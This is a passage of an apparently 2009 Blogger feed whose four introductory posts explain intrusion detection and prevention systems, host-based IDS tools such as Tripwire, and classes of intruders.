sk</name><uri>http://www.blogger.com/profile/01064329419086831423</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='21' src='http://1.bp.blogspot.com/_OvHuF1DoCxI/Sgv0O4Ac2yI/AAAAAAAAAAM/HuO76fBQEYI/S220/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1361024724213312909.post-8742713227683371749</id><published>2009-05-19T03:57:00.000-07:00</published><updated>2009-05-19T04:37:03.765-07:00</updated><title type='text'>IDS Types and HIDS</title><content type='html'>In general intrusion detection systems can be categorized into three types. They are&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Host based IDS&lt;/li&gt;&lt;li&gt;Network based IDS&lt;/li&gt;&lt;li&gt;Hybrid IDS&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;Host Based IDS:&lt;br /&gt;                               &lt;/span&gt; Host-based  consult several types of log files (kernel, system, server, network, firewall, and more), and compare the logs against an internal database of common signatures for known attacks. UNIX and Linux host-based IDS make heavy use of &lt;tt class="command"&gt;syslog&lt;/tt&gt; and its ability to separate logged events by their severity (for example, minor printer messages versus major kernel warnings). The &lt;tt class="command"&gt;syslog&lt;/tt&gt; command is available when installing the &lt;tt class="command"&gt;sysklogd&lt;/tt&gt; package, which is included with Red Hat Enterprise Linux. This package provides system logging and kernel message trapping. The host-based IDS filters logs (which, in the case of some network and kernel event logs, can be quite verbose), analyzes them, re-tags the anomalous messages with its own system of severity rating, and collects them in its own specialized log for administrator analysis.&lt;br /&gt;                     A host-based IDS can also verify the data integrity of important files and executables. It checks a database of sensitive files (and any files added by the administrator) and creates a &lt;i class="firstterm"&gt;checksum&lt;/i&gt; of each file with a message-file digest utility such as &lt;tt class="command"&gt;md5sum&lt;/tt&gt; (128-bit algorithm) or &lt;tt class="command"&gt;sha1sum&lt;/tt&gt; (160-bit algorithm). The host-based IDS then stores the sums in a plain text file and periodically compares the file checksums against the values in the text file. If any of the file checksums do not match, the IDS alerts the administrator by email or cellular pager.&lt;br /&gt;                        Tripwire is the most popular host-based IDS for Linux. Tripwire, Inc., the developers of Tripwire, opened the software source code for the Linux version and licensed it under the terms of the GNU General Public License. Tripwire is available from &lt;a href="http://www.tripwire.org/"&gt;http://www.tripwire.org/&lt;/a&gt;.&lt;br /&gt;                        SWATCH ( &lt;a href="http://sourceforge.net/projects/swatch/"&gt;http://sourceforge.net/projects/swatch/&lt;/a&gt; ) and LIDS (&lt;a href="http://www.lids.org/"&gt;http://www.lids.org/&lt;/a&gt; ) are other commonly used IDS.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1361024724213312909-8742713227683371749?l=intrusionalert.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://intrusionalert.blogspot.com/feeds/8742713227683371749/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1361024724213312909&amp;postID=8742713227683371749&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1361024724213312909/posts/default/8742713227683371749'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1361024724213312909/posts/default/8742713227683371749'/><link rel='alternate' type='text/html' href='http://intrusionalert.blogspot.com/2009/05/ids-types-and-hids.html' title='IDS Types and HIDS'/><author><name>manoj sk</name><uri>http://www.blogger.com/profile/01064329419086831423</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='21' src='http://1.bp.blogspot.com/_OvHuF1DoCxI/Sgv0O4Ac2yI/AAAAAAAAAAM/HuO76fBQEYI/S220/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1361024724213312909.post-2233018221725440917</id><published>2009-05-15T08:46:00.000-07:00</published><updated>2009-05-15T09:37:04.568-07:00</updated><title type='text'>IDS Overview</title><content type='html'>&lt;span class="body"&gt; Intrusion detection systems do exactly as the name suggests, they detect possible intrusions. More specifically, IDS tools aim to detect computer attacks/misuse, and to alert the proper individuals upon detection. An IDS installed on a network provides much the same purpose as a burglar alarm system installed in a house. Through various methods, both detect when an intruder/attacker/burglar is present, and both subsequently issue some type of warning or alert.&lt;br /&gt;&lt;br /&gt;IDS systems monitor, detect and respond to the unauthorized access either by insiders or outsiders.IDS&lt;/span&gt;&lt;span class="body"&gt; use policies to define certain events that, if detected will issue an alert. In other words, if a particular event is considered to constitute a security incident, an alert will be issued if that event is detected. Certain intrusion detection systems have the capability of sending out alerts, so that the administrator of the IDS will receive a notification of a possible security incident in the form of a email or SNMP trap. Many IDS not only recognize a particular incident and issue an appropriate alert, they also respond automatically to the event. Such a response might include logging off a user, disabling a user account, and launching of scripts.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Some IDS are&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;i style="font-weight: bold;" class="firstterm"&gt;knowledge-based&lt;/i&gt;, which preemptively alert security administrators before an intrusion occurs using a database of common attacks. Alternatively, there are &lt;i style="font-weight: bold;" class="firstterm"&gt;behavioral-based&lt;/i&gt; IDS that track all resource usage for anomalies, which is usually a positive sign of malicious activity. Some  are standalone services that work in the background and passively listen for activity. Others combine standard system tools, modified configurations, and verbose logging, with administrator intuition and experience to create a powerful intrusion detection kit.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1361024724213312909-2233018221725440917?l=intrusionalert.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://intrusionalert.blogspot.com/feeds/2233018221725440917/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1361024724213312909&amp;postID=2233018221725440917&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1361024724213312909/posts/default/2233018221725440917'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1361024724213312909/posts/default/2233018221725440917'/><link rel='alternate' type='text/html' href='http://intrusionalert.blogspot.com/2009/05/ids-overview.html' title='IDS Overview'/><author><name>manoj sk</name><uri>http://www.blogger.com/profile/01064329419086831423</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='21' src='http://1.bp.blogspot.com/_OvHuF1DoCxI/Sgv0O4Ac2yI/AAAAAAAAAAM/HuO76fBQEYI/S220/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1361024724213312909.post-8287895411422914717</id><published>2009-05-14T04:59:00.000-07:00</published><updated>2009-05-14T06:32:37.962-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='IPS'/><category scheme='http://www.blogger.com/atom/ns#' term='IDS'/><title type='text'>Basics on Intrusion Detection and Intrusion Prevention</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Intrusion Detection:&lt;/span&gt;&lt;br /&gt;                                                                                                           This encompasses a range of security techniques that are designed to detect or report any instance of intrusion into the security system to the user/ network administrator. Intrusion detection technologies are detective rather than preventive, but they can help mitigate following types of risks by providing a security administrator with information on attempted or actual security events.&lt;br /&gt;                                                                    -&gt;   Destruction of data&lt;br /&gt;                                                                    -&gt;   Network intrusion&lt;br /&gt;                                                                    -&gt;   Unauthorized access&lt;br /&gt;                                                                    -&gt;   Denial of service attacks.&lt;br /&gt;                                 &lt;br /&gt;  &lt;span style="font-weight: bold;"&gt;    Intrusion Prevention&lt;/span&gt;:&lt;br /&gt;                                                                                                                   These systems combine all levels of firewall and intrusion detection technologies, they often end up with systems that can operate at all levels of network stack. The only disadvantage of intrusion prevention systems is that they are not fast and robust. For this reason IPS may not be appropriate where speed is of high importance.&lt;br /&gt;                                        Intrusion prevention systems are a sophisticated class of network security implementation that not only has the ability to detect the presence of intruders and their actions but also to prevent them from successfully launching any attack.These systems are designed to detect malicious packets within normal network traffic and stop network intrusion, blocking unauthorized traffic automatically before it does damage rather than simply raising an alert.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1361024724213312909-8287895411422914717?l=intrusionalert.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://intrusionalert.blogspot.com/feeds/8287895411422914717/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1361024724213312909&amp;postID=8287895411422914717&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1361024724213312909/posts/default/8287895411422914717'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1361024724213312909/posts/default/8287895411422914717'/><link rel='alternate' type='text/html' href='http://intrusionalert.blogspot.com/2009/05/basics-on-intrusion-detection-and.html' title='Basics on Intrusion Detection and Intrusion Prevention'/><author><name>manoj sk</name><uri>http://www.blogger.com/profile/01064329419086831423</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='21' src='http://1.bp.blogspot.com/_OvHuF1DoCxI/Sgv0O4Ac2yI/AAAAAAAAAAM/HuO76fBQEYI/S220/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1361024724213312909.post-8879170822843903814</id><published>2009-05-14T04:33:00.000-07:00</published><updated>2009-05-14T04:55:55.491-07:00</updated><title type='text'>Intrusion</title><content type='html'>One of the threats to the security system is the intruder, generally referred to as a hacker or a cracker.&lt;br /&gt;          There are three classes of intruders:&lt;br /&gt;          &lt;br /&gt;           a.&lt;span style="font-weight: bold;"&gt;Masquerader&lt;/span&gt;: An individual who is not authorized to use the computer and who penetrates a system's access controls to exploit a legitimate users account.&lt;br /&gt;           b.&lt;span style="font-weight: bold;"&gt;Misfeasor&lt;/span&gt;: A legitimate user who accesses data, or resources for which such access is not authorized.&lt;br /&gt;           c.&lt;span style="font-weight: bold;"&gt;Clandestine User&lt;/span&gt;: An individual who seizes supervisory control of the system and uses this control to evade auditing and access controls or to suppress audit collection.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1361024724213312909-8879170822843903814?l=intrusionalert.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://intrusionalert.blogspot.com/feeds/8879170822843903814/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1361024724213312909&amp;postID=8879170822843903814&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1361024724213312909/posts/default/8879170822843903814'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1361024724213312909/posts/default/8879170822843903814'/><link rel='alternate' type='text/html' href='http://intrusionalert.blogspot.com/2009/05/intrusion.html' title='Intrusion'/><author><name>manoj sk</name><uri>http://www.blogger.com/profile/01064329419086831423</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='21' src='http://1.bp.blogspot.com/_OvHuF1DoCxI/Sgv0O4Ac2yI/AAAAAAAAAAM/HuO76fBQEYI/S220/images.jpg'/></author><thr:total>0</thr:total></entry></feed>
